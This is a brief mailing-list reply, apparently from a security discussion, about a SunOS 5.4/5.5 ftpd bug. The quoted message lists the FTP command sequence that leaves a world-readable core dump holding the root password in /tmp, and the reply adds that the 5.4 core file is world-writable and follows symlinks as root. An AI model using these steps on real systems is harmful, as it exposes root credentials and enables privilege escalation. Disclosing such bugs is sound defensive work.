Re: ftpd bug? Was: bin/1805: Bug in ftpd

[gkaufman () cs uct ac za (Grant Kaufmann)]

> Killing from the command line doesn't seem to work, but:
> SunOS 5.5:
>
> logon via ftp with your regular user/password,
> ftp> cd /tmp
> ftp> user root wrongpasswd
> ftp> quote pasv
>
> voila, root password in world readable core dump under /tmp
Nope, its even better than that. Under 5.4, the core file
is rw-rw-rw and it follows symlinks as root.

--
Grant
--
http://www.cs.uct.ac.za/~gkaufman/pgp.html